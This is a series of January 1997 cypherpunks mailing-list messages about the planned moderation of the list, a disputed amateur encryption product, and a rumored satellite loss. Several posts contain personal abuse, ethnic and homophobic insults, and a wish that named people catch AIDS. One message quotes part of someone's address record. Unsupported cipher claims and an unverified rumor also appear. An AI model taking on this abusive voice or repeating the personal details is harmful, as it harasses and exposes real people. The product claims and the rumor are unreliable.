#Date: Tue Dec 31 19:05:01 EST 1996
#
#This is an automated report about activity of our newsgroup
#soc.culture.russian.moderated. It covers period between the 
#previous report and the current one, ending 
#on Tue Dec 31 19:05:01 EST 1996.
#
#Note that we do not report the number of articles cancelled
#after they got approved, because the cancellations are done
#manually. Typically messages get cancelled by requests of
#posters themselves.
#
#Lastly, the statistics below are skewed towards higher numbers because
#there are always some test messages from moderators themselves who
#approve and reject them to make sure that our robomoderator functions
#properly.
#
#
#
#Approved:       1705    messages (of them, 1504 automatically)
#Rejected:       129     messages
#Preapproved:    39      new posters
#
#-----BEGIN PGP SIGNATURE-----
#Version: 2.6.2
#
#iQEVAwUBMsmqLVeH1q6rtVT1AQHMNgf7BDSDpDilnCyr3IihDGeOz1Mjp0KNhkGl
#sj/Dsz6+aovlUBgt/5dXg/Dq/114QLSJ9Qynlep5Y52OQdzCsI4YZWB8Sul36Nxp
#FdqEXDqSJKG4RlhvKqEscpywsRUjaU5T7fOU3bFZ9HO88CIHcTsHxyXYXgYK9lCw
#AFJCHWhFxgUngwABo8pwaQ9VYb3J7lz4aeCAf7zfcPiOYEX4WKWPLYdbJidxL5AF
#LcmExxKdcCzzYIMgLklu/dBtln0mXXdTtbG8V8sDqQtjh8yLEdpV2JBKnPPE2YHd
#8VEOLMQ7Bg38f+AZQAaLwlNB1JXLAvDKwDUT3oeIkcSllGV4wi7O1A==
#=YvQK
#-----END PGP SIGNATURE-----
#


	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jake_Spaulding@holderness.org (Jake Spaulding)
Date: Sat, 11 Jan 1997 09:22:37 -0800 (PST)
To: Moesch@aol.com
Subject: Remove
In-Reply-To: <199701100650.BAA12991@newman.cris.com>
Message-ID: <61406.5407004@holderness.org>
MIME-Version: 1.0
Content-Type: text/plain



This message sent using the FirstClass SMTP/NNTP Gateway for Mac OS.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Sat, 11 Jan 1997 09:06:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: IMDMP 8192 PKCS and IMDMP Summary
Message-ID: <970111120551_1074845300@emout20.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi,

You have probably read a few of my past messages about UDCM and IMDMP. The
variation of IMDMP implemented within UDCM V2.0 and UDCM V3.0 does not
include a public key cryptosystem. However, on March 1st, 1997, new versions
of UDCM and IMDMP will be released that do support the public key
cryptosystem method. The future versions will also support multi-party key
integration features, four platform independent random number generator
algorithms, as well as 1024 (8192 bit) keys. Note that the current version of
IMDMP only allows 256 byte (1024) bit keys. The current shareware version and
the future shareware version of UDCM will still only allow 5 byte (40 bit)
keys so as to comply with ITAR unless a key recovery infrastructure is
established. A public key directory infrastructure is being considered for
development as well. Also note that versions of UDCM are being planned for
the UNIX, DOS, and Macintosh System platforms.

There are a few major mistakes in a couple of my previous delegated messages.
An end-user application that supports IMDMP will not be released until March
1st, 1997. A detailed description of IMDMP will not be released as planned,
but, instead, the undocumented primary source code of UDCM (containing the
IMDMP encryption algorithm) will be released on February 1st, 1997. A
partially detailed summary of the IMDMP is now included in VENDOR.DOC file of
the UDCM V2.0 software package / archive. UDCM V2.0 was modified to restrict
keys to 50 bits so as to comply with the latest ITAR details. The extensively
confusing exportation restrictions sections of UDCM's documentation were
modified as well.

I am extremely sorry about the apparently extraneous information that is
present in a few of my first messages to this mailing list. Such a negative
level feedback was not anticipated. I do admit that single key encryption
methods are not too comparable to PKCS methods. What I was referring to when
I said IMDMP is more advanced than RSA, etc. is the actual encryption
procedure itself, not the way keys are secured. Again, irrashional claims
were not intended at all. The amount of analytical research invested in IMDMP
was thought to be sufficient.

By the way, has anyone out there even tried using UDCM to encrypt a file or
two? I do not know how some of you can say that IMDMP is a simple XOR-ing and
AND-ing algorithm without trying it first. I find it extremely hard to
believe that the celebrated creator(s) of Blowfish, IDEA, etc. had to go
through all of this ritualistic screening complexity too. (Please do correct
me if I am wrong.)

(For the record: DataET Research's promotional agent has been fired.)

Again, the web site address of UDCM is:
http://members.aol.com/dataetrsch/udcm.html. The web site includes has a link
to the VENDOR.DOC file which includes the aforesaid updated information.
UDCMV20.ZIP is currently unavailable on the web site as the software is
undergoing additional security modifications.

By the way, the web page's ugly background his been removed.

The IMDMP encryption algorithm itself combines various simple and complex
methods to secure digital data: standard randomized and fixed substitution,
standard randomized and fixed AND and XOR logic, integrated and interlaced
randomized XOR logic, NOT logic, randomized and fixed bit shifting,
randomized transposition scrambling, linear sequential bit incrementation and
decrementation, integrated and interlaced randomized and fixed byte
dependency structuring, sequential byte pyramid structuring, asymmetric
non-linear chaos and complexity based binary selection equation key
integration, anomalous key bit factoring, and continuous key bit modification
structuring. Sub-algorithms of IMDMP are basically additional applications of
one or more of the aforesaid techniques.

Questions, queries, or comments ("gulp")? E-Mail: DataETRsch@aol.com,
JKYuRamos@aol.com, or DataETResearch@geocities.com. Note: From now on, any
messages to DataET Research that do not contain the text "NO FLAME" somewhere
in the subject heading will be ignored completely. If a message is a indeed
flame, the associated server's administrator will be contacted, and a
complaint will be filed accordingly.

Thank you very much for your time.

Jeremy K. Yu-Ramos
President
DataET Research
Data Engineering Technologies




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sat, 11 Jan 1997 10:10:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Satellite Gone (fwd)
Message-ID: <199701111813.MAA13457@einstein>
MIME-Version: 1.0
Content-Type: text



Hi all,

I just got this a few minutes ago and thought it migh be interesting. For
obvious reasons I am not going to identify the source.

Forwarded message:

> Date: Sat, 11 Jan 1997 11:46:51 +0000
> To: Ravage@einstein.ssz.com
> Subject: Satellite Gone
> 
> dunoo if this might interest you    
> Last night at apx 10:00 satellite T1 (Telstar 401) went away... 
> 
> Fox and ABC News one channel are now over on T2 (Telstar 402) located at
> 89 degrees west...
> Fox is on transponders 1,2,7,10,13,17,20,23
> ABC has feeds on 8,21,22
> 
> I haven't yet found where the UPN feeds are going to be....  
> 
> ATT Satellite Enginering support has said that it is gone with no hope
> of recovery...
> 
> Some ugly roumors are starting to float about alleged threats to FOX to
> do this by unnamed Gov agencys due to the negetive views that FOX had
> been reporting to the public about them....    
> 
> Have you heard anything??


                                                       Jim Choate
                                                       CyberTects
                                                       ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Sat, 11 Jan 1997 09:15:34 -0800 (PST)
To: CDAVIDSO@is.nmh.nmh.org
Subject: What!
Message-ID: <970111121453_201575793@emout18.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Excuse me?

What is faulty about IMDMP?

- Jeremy




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Sat, 11 Jan 1997 13:28:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <32D7DE11.2BDE@gte.net>
Message-ID: <Pine.GUL.3.95.970111132128.21586B-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

For example, I think this message could have been worded in such a way that
it was on-topic. Dale really had to exert himself to make this a pure flame.
When he doesn't put so much effort into it, he's worth reading.

See also http://minerva.fileita.it/webitalia/netscum/gravesr0.html

- -rich

On Sat, 11 Jan 1997, Dale Thorn wrote:

> Rich Graves wrote:
> [snip]
> > I'd just like to say that as disgusting as I find most of Dale's posts,
> > I consider almost all of them appropriate for the list.
> > While I'd classify Dale's posts as among "worst of cypherpunks,"
> > IMO they are all at least *of* cypherpunks.
> 
> Rich, you have to have a mind to comment on my posts.  To call my
> posts disgusting, when I as a person am  1) Vastly more concerned
> about justice, truth, and openness than you, and  2) Vastly more
> intelligent than you, is pure ignorance and hypocrisy.
> 
> When you have nothing to say, you do the "attack against the man",
> which is a logical fallacy.  You and Sandfort can lie in bed together
> on that one.  Punk.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQBVAwUBMtgFrZNcNyVVy0jxAQHipAH/WS2VkTlWbf3ttMBUcq1sRXY1sJbNWJ5G
aR6T6ZWD0iJQVKD5X8/9QPUBl2MUdml3xS1f5MH+pynY63OEfPTg0Q==
=7+Je
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: System Administrator <root@uhf.wireless.net>
Date: Sat, 11 Jan 1997 10:43:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: another idea?
In-Reply-To: <199701111710.JAA08932@slack.lne.com>
Message-ID: <Pine.BSF.3.95.970111134601.1009C-100000@uhf.wdc.net>
MIME-Version: 1.0
Content-Type: text/plain




> That was the original proposal.
> Now that the 'discussion' has come around full circle, can we
> stop talking about it and DO it?
> 

Oops!  Sorry. I lost this discussion in the middle of all the SPAM!

Yes, please do it!

Bernie





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sat, 11 Jan 1997 11:54:47 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: IMDMP 8192 PKCS and IMDMP Summary
In-Reply-To: <970111120551_1074845300@emout20.mail.aol.com>
Message-ID: <199701111950.NAA07011@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


DataETRsch@aol.com wrote:
> By the way, has anyone out there even tried using UDCM to encrypt a file or
> two? I do not know how some of you can say that IMDMP is a simple XOR-ing and
> AND-ing algorithm without trying it first. I find it extremely hard to
> believe that the celebrated creator(s) of Blowfish, IDEA, etc. had to go
> through all of this ritualistic screening complexity too. (Please do correct
> me if I am wrong.)

yes, you are wrong.

> (For the record: DataET Research's promotional agent has been fired.)

Can you prove that?

> 
> Questions, queries, or comments ("gulp")? E-Mail: DataETRsch@aol.com,
> JKYuRamos@aol.com, or DataETResearch@geocities.com. Note: From now on, any
> messages to DataET Research that do not contain the text "NO FLAME" somewhere
> in the subject heading will be ignored completely. If a message is a indeed
> flame, the associated server's administrator will be contacted, and a
> complaint will be filed accordingly.

Jeremy, if you ignore them, how can you complain about them?

Something fishy is going on?

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 11 Jan 1997 13:00:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <199701111638.KAA05913@manifold.algebra.com>
Message-ID: <6yVD1D64w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:
>
> I do not see what your example is supposed to illustrate.

They're supposed to illustrate what will happen soon on the moderated
"cypher punks" mailing list.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 11 Jan 1997 13:00:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.BSF.3.95.970111110027.602A-100000@uhf.wdc.net>
Message-ID: <P2VD1D65w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bernie Doehner <bad@uhf.wireless.net> writes:

This is the jerk responsible for the mail loop last Xmas, which the Armenian
liar Ray Arachelian tried to blame on me.

> > However, I think that forming lists of "approved people" and "unapproved
> > people" and treating them differently is likely to do more harm than good,
> > even if we have nice software which does it very efficiently. I don't like
> > it for several reasons:
>
> Why jump to conclusions about the moderator's behavior?  Lets give the
> new moderators a chance - PLEASE!!!

That's what the German industrialists kept telling Hinderburg.
"Lets (sic) give Adolf Hitlet a chance - PLEASE!!!'

> I think our new moderators have been around long enough to know
> what's appropriate and what's not.

Hitler wrote _Mein Kampf in 1926 and came to power in 1933.

> Good luck Sandy and other moderator!


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 11 Jan 1997 13:00:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <199701111710.LAA06067@manifold.algebra.com>
Message-ID: <R8VD1D66w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> when moderators receive messages for moderation, they would not see any
> header information indicating who wrote the message (this information
> would be in the packet that arrives to them, but it would be encrypted
> with Internal Traffic Key). This way, a moderator would not know if the
> message is, say, from Tim May or from Dr. Vulis, and would make their
> decisions (including decisions to preapprove) based solely on the
> message contents. That may give some way towards fairness.

If the content says: "Dr. Vulis is a crazy Russian Jew, don't tell him what
a petard is, and fuck the colored race", then the origin is pretty obvious.

> Note that another important feature of STUMP that we seem to overlook was
> designed specifically to address the problems of preapproved lists. This
> feature is the presence of "bad words list". This is a set of regular
> expressions, stored in a file, such that if incoming messages match
> these expressions, they would be considered "suspicious" even if they
> purport to be "From: " preapproved persons. That goes a long way towards
> security and fairness because now nobody (including, say, Paul Bradley
> along with Dr. Vulis or myself) would be able to call someone else
> "cocksucker" without review by human moderators.

But Plucky green would be able to call people "vermin", and "crazy Russian"
just like Igor is able to call his enemies "eunichs".

ObModeratorFodder: John Gilmore is a lying cocksucker.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 11 Jan 1997 13:30:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Satellite Gone (fwd)
In-Reply-To: <199701111813.MAA13457@einstein>
Message-ID: <2ZwD1D67w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@einstein.ssz.com> writes:
> > Last night at apx 10:00 satellite T1 (Telstar 401) went away...
...
> > Some ugly roumors are starting to float about alleged threats to FOX to
> > do this by unnamed Gov agencys due to the negetive views that FOX had
> > been reporting to the public about them....

Fox is on the "outside" where TimeWarner/Turner and Disney are on the "inside".
Fix tried to launch a cable news channel to compete against CNN.. TimeWarner
simply refused to carry it. :-)
What happens on "cypher punks" happens in the real world too.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 11 Jan 1997 13:30:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: John, Sandy & the Dr. DV K Conspiracy Theory
Message-ID: <R5wD1D68w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Someone writes:

> Dr. Vulis,
>  A lot of things surrounding the upcoming 'moderation' of the
> CypherPunks list just don't seem to add up.

If you think their agenda is what I think it is, then it all adds up.

...
> some interesting algorithms clicked into place in regard to the
> grand 'moderation' experiment about to befall the CypherPunks.
>
>   I thought about the fact that you pissed the elite de la elite
> of the CypherPunks off to the extent that they shit in their own
> back yard--ie. these supreme libertarians unSCUMscribed you from
> the C'punks list.
>   They did exactly what every people's-defender/hidden-dictator
> has done from the beginning of time. They pointed their righteous
> libertarian fingers at a source of great evil which everyone must
> be protected from--you. (The reason 'pointing' is so important
> is so that those too dim to 'recognize' who their enemy is, will
> be able to 'stay with the concept' while they explain it.)
>   So now we have:
>     Ronald RayGun -----> Commies / The Red Menace
>     George Bush -----> Saddam / The Mother of All Evil
>     John Gilmore ----> Dr. DV K / The Spamming Homophobe
>
>  John was very eloquent in defining the 'threat' that you
> represent, and the 'abuse' that you represent, and, suddenly,
> there are a few good sheep saying, "By gosh, by golly, you're
> right. Now that you've pointed out that I'm being wrongly
> abused by this man, I see it all clearly now. Thank you for
> saving me."
>  Unfortunately, there were also those who didn't go for the
> 'feint', and posted missives simply stating, "Excuse me, John,
> nice try, but you've got some shit sticking to your shoe, there,
> despite your self-serving explaination of your actions."
>  ('I' don't have a 'personal' problem with the doc, I'm doing
> this for the good of 'everybody'.)
>
>  I suppose that might have been the end of it, had you gone
> quietly into the night. But, 'double' unfortunately, you hardly
> seemed to break stride in continuing to participate in the
> CypherPunk list.
>  So, now, after taking a 'firm hand' in 'saving' the CypherPunks
> from the Evil Dr. Vulis, Big John finds himself being ridiculed
> and laughed at for his ineffective and ineffectual public beheading
> of the 'enemy of the people'.
>   Suddenly, however, out of the blue, comes the answer to his
> prayers--a 'bigger' threat. CypherPunks is deluded with a
> mountain of email from 10,000 Laker's fans named Bubba. A genuine
> 'outside' spam attack, pissing everyone off. Then, a rash of
> 'Make $$$Money$$$ Fast' probing actions from 'more' outsiders.

So far, so good. Unfortunately mail loops happen every once in a while.
What was unusual about the one this list had about Xmastime was that
a) Ray Arachelian "officially" accused me of being responsible for it,
  and this lie has not been retracted by him or Gilmore or anyone.
b) the poster responsible for the maling loop (ufh.wirenet.net) just
  posted a rant in favor of moderation.

>   This time, John insulates himself with his 'front' man. The
> 'done-deal' announcement starts, "SANDY and I..."  With, of
> course, the standard govt-line, blah, blah, 'your input', blah,
> blah.
>
>   And, this time, the 'rubes' come out of the woodwork like flies
> on shit.
>   Suddenly, we have people giving a 'Vote of confidence..."
>   HOLD IT!!!
>   Nobody is 'voting', you stupid bastards. Read John and Sandy's
> lips...there 'is' no vote. You were 'told' what they are going
> to do, and you were 'told' that your preferences for the color
> of Vaseline they will use will be 'considered'.
>   Do the words 'denial' and 'self-delusion' set off any bells
> and whistles here?
>
>   At this very moment, in small rooms around the world, the
> heads of clandestine agencies are shouting at their people,
> "Why can't 'you' imbeciles pull off an operation like this?"
>
>   Notice, please, that John and Sandy have remained above the
> fray. They have been content, until very recently, to let the
> dogs tear at each other's throats (and let the 'voters' take
> part in self-delusional schemes and scenarios, constructing
> 'moderation systems' in-the-sky).
>   And now Sandy begins to step in, replying only to his
> 'supporters' (like a 'staged' political rally), gracefully
> accepting their kudos in his assumption of benevolent
> dictatorship. (Complete with assurances that there is no
> 'enemies list'.)

Too bad some hooligans break the ranks to shout to Dale: "Soon Sandy
will shut you up!"

>   If anyone had written up, a few weeks ago, a scenario such
> as this and posted it to the list, he would have been laughed
> out of cyberspace.
>   But today, it is a reality, and more--a 'classic' operation
> that will go down in history as a maneuver that ranks with
> the best of socio/political coups.

I think Gilmore's pretty transparent. Gilmore is running for the Internet
Soviet [Council] right now, so he doesn't want his lies and hypocricy
exposed on his own private forum.

ObModeratorFodder: I hope cocksuckers Gilmore and Sandfart give each other AIDS

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Sat, 11 Jan 1997 12:57:04 -0800 (PST)
To: Evil se7en <se7en@dis.org>
Subject: Re: Some People Just Never Learn
In-Reply-To: <Pine.BSI.3.91.970111031545.8640A-100000@kizmiaz.dis.org>
Message-ID: <Pine.SUN.3.94.970111155242.5104B-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 11 Jan 1997, Evil se7en wrote:

> So here's to you Gambit...This ought to keep you distracted long enough! Now 
> maybe I can go back to my reading list and fade back into obscurity.
> 
> XOXOXO!
> 
> se7en

> º Address:  
> º            SONOMA County                          Status:                    º

Others at primary address:

> º   MARLENE AGNEW                                                              º

Oh uh, watch it.  He lives with Spiro's sister!


--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Sat, 11 Jan 1997 12:57:38 -0800 (PST)
To: Clay Olbon II <olbon@ix.netcom.com>
Subject: Re: IMPORTANT: Additional information about UDCM.
In-Reply-To: <1.5.4.16.19970111130156.125fa0a0@popd.ix.netcom.com>
Message-ID: <Pine.SUN.3.94.970111155550.5104C-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 11 Jan 1997, Clay Olbon II wrote:

> Date: Sat, 11 Jan 1997 09:57:33 -0800
> From: Clay Olbon II <olbon@ix.netcom.com>
> To: Black Unicorn <unicorn@schloss.li>
> Cc: cypherpunks@toad.com
> Subject: Re: IMPORTANT: Additional information about UDCM.
> 
> BU,
> 
> At 12:06 AM 1/10/97 -0500, Black Unicorn wrote:
> >I dont really think anyone uses bytes to refer to key size, except perhaps
> >in Prime Number challenges (RSA-129).
> 
> I am pretty sure that the Prime Number challenges refer to the number of
> DECIMAl digits in the prime number.  

I stand corrected.

> 
> Otherwise excellent responses to the simplistic mumbo-jumbo.  Good to see
> you posting again!
> 
>         Clay
> *******************************************************
> Clay Olbon			    olbon@ix.netcom.com
> sys-admin, engineer, programmer, statistitian, etc.
> **********************************************tanstaafl
> 
> 

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Sat, 11 Jan 1997 12:59:38 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: What!
In-Reply-To: <970111121453_201575793@emout18.mail.aol.com>
Message-ID: <Pine.SUN.3.94.970111155629.5104D-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 11 Jan 1997 DataETRsch@aol.com wrote:

> Date: Sat, 11 Jan 1997 12:14:54 -0500 (EST)
> From: DataETRsch@aol.com
> To: CDAVIDSO@is.nmh.nmh.org
> Cc: cypherpunks@toad.com
> Subject: What!
> 
> Excuse me?
> 
> What is faulty about IMDMP?

About everything we have been able to examine so far, including your
posting style, the marketing approach, the zero coupon bond offer (in
violation of SEC regulations) of the parent company, the (lack of)
demonstrated knowledge by the company "president."  Shall I continue?

> 
> - Jeremy
> 

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Sat, 11 Jan 1997 13:29:34 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: IMDMP 8192 PKCS and IMDMP Summary
In-Reply-To: <970111120551_1074845300@emout20.mail.aol.com>
Message-ID: <Pine.SUN.3.94.970111161943.5104E-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 11 Jan 1997 DataETRsch@aol.com wrote:

> Hi,
> 
> You have probably read a few of my past messages about UDCM and IMDMP.

Unfortunately.
> include a public key cryptosystem. However, on March 1st, 1997, new versions
> of UDCM and IMDMP will be released that do support the public key
> cryptosystem method.

I hope your not violating any patents.  (Hint hint).

> There are a few major mistakes in a couple of my previous delegated messages.
> An end-user application that supports IMDMP will not be released until March
> 1st, 1997.

Why are you babbling to us now then?

> methods are not too comparable to PKCS methods. What I was referring to when
> I said IMDMP is more advanced than RSA, etc. is the actual encryption
> procedure itself, not the way keys are secured.

Uh, that doesn't help.  You still have no proof for this claim either.

> Again, irrashional claims
        ^^^^^^^^^^^

Oh boy.

> were not intended at all. The amount of analytical research invested in IMDMP
> was thought to be sufficient.

One expects more from a company asking for investors to the tune of 1.5
million.
 
> By the way, has anyone out there even tried using UDCM to encrypt a file or
> two?

Want to pay me to betatest?

> AND-ing algorithm without trying it first. I find it extremely hard to
> believe that the celebrated creator(s) of Blowfish, IDEA, etc. had to go
> through all of this ritualistic screening complexity too. (Please do correct
> me if I am wrong.)

Consider ourself corrected.  IDEA and Blowfish have been extensively
hashed through.  Flaws, most small and correctable, were revealed in that
process too.  (I believe one Blowfish implementation had more serious
problems which were exposed by this "ritualistic screening."

It's the only way to make cryptosystems secure.  Deal with it or find
another profession.  (Or simply sell it to people who have no clue about
the product).

> 
> (For the record: DataET Research's promotional agent has been fired.)
>

Gosh, who's left working at the company now?

> Questions, queries, or comments ("gulp")? E-Mail: DataETRsch@aol.com,
> JKYuRamos@aol.com, or DataETResearch@geocities.com. Note: From now on, any
> messages to DataET Research that do not contain the text "NO FLAME" somewhere
> in the subject heading will be ignored completely. If a message is a indeed
> flame, the associated server's administrator will be contacted, and a
> complaint will be filed accordingly.

I don't expect you will see many messages.

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 11 Jan 1997 14:52:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: another idea?
In-Reply-To: <Pine.BSF.3.95.970111134601.1009C-100000@uhf.wdc.net>
Message-ID: <7ZZD1D70w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


System Administrator <root@uhf.wireless.net> writes:

> > That was the original proposal.
> > Now that the 'discussion' has come around full circle, can we
> > stop talking about it and DO it?
> >
>
> Oops!  Sorry. I lost this discussion in the middle of all the SPAM!
>
> Yes, please do it!
>
> Bernie

A few weeks ago, every message sent to the "cypher punks" was re-sent
again and again and again by "crypto@uhf.wireless.net".  Ray Arachelian
officially blamed me for the mail loop and even complained to my upstream
feed about multiple copies of my articles. Ray's lies were never retracted
by Ray himself or John "cocksucker" Gilmore.

Now root@uhf.wireless.net posts multiple rants in favor of moderation.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 11 Jan 1997 18:56:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.GUL.3.95.970111132128.21586B-100000@Networking.Stanford.EDU>
Message-ID: <32D83D80.6517@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Rich Graves wrote:
> For example, I think this message could have been worded in such a way that
> it was on-topic. Dale really had to exert himself to make this a pure flame.
> When he doesn't put so much effort into it, he's worth reading.
> See also http://minerva.fileita.it/webitalia/netscum/gravesr0.html
> On Sat, 11 Jan 1997, Dale Thorn wrote:
> > [snip]
> > Rich, you have to have a mind to comment on my posts.  To call my
> > posts disgusting, when I as a person am  1) Vastly more concerned
> > about justice, truth, and openness than you, and  2) Vastly more
> > intelligent than you, is pure ignorance and hypocrisy.
> > When you have nothing to say, you do the "attack against the man",
> > which is a logical fallacy.  You and Sandfort can lie in bed together
> > on that one.  Punk.

This was a rather harsh reply.  Thank you (I think) for whatever
allowance you have seen fit to give me.  OTOH, I'd suggest for Rich
and all of the pro-Sandy faction that they sit on their replies for
a couple of hours before hitting "send", just in case the emotional
(not passionate, there's a difference) content needs a little editing.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 11 Jan 1997 14:50:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <32D7D8CA.3ADF@gte.net>
Message-ID: <uX2D1D71w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> Greg Broiles wrote:
> > At 10:49 PM 1/10/97 -0800, Lucky Green wrote:
>
> > I think that the human moderator solution suffers less from these problems;
> > in general, it's a well-tested solution to the "what about off-topic
> > assholes?" problem. It's not perfect, but it does work, more or less; it's
> > easy to understand, easy to implement, and requires no software changes on
> > the users' end.
>
> Yeah, Greg, we all hate those pesky asshole-types.  But what do you do,
> Greg, when the *moderator* is the pesky asshole-type?  Bend over, huh?

I dug up a few Sandy e-mails from my archives. Does the prospective moderator's
propensity to describe his enemies' words as "logical fallacy" and "illogical
claptrap" remind you of one paranoid anonymous control freak who used to spell
his stupid nym in lowercase and then flamed me when I quoted it verbatim?

============================================================================
]From sandfort@crl.com  Wed Sep 18 11:09:58 1996
]Received: by bwalk.dm.com (1.65/waf)
]	via UUCP; Wed, 18 Sep 96 20:39:18 EDT
]	for dlv
]Received: from crl14.crl.com by mail.crl.com with SMTP id AA15749
]  (5.65c/IDA-1.5 for <dlv@bwalk.dm.com>); Wed, 18 Sep 1996 08:10:29 -0700
]Received: by crl14.crl.com id AA10349
]  (5.65c/IDA-1.5); Wed, 18 Sep 1996 08:04:08 -0700
]Date: Wed, 18 Sep 1996 08:04:07 -0700 (PDT)
]From: Sandy Sandfort <sandfort@crl.com>
]To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
]Cc: cypherpunks@toad.com
]Subject: Re: A Bizarre Increase in the Ad Hominems Here
]In-Reply-To: <TZ0FuD105w165w@bwalk.dm.com>
]Message-Id: <Pine.SUN.3.91.960918075839.10102D-100000@crl14.crl.com>
]Mime-Version: 1.0
]Content-Type: TEXT/PLAIN; charset=US-ASCII
]
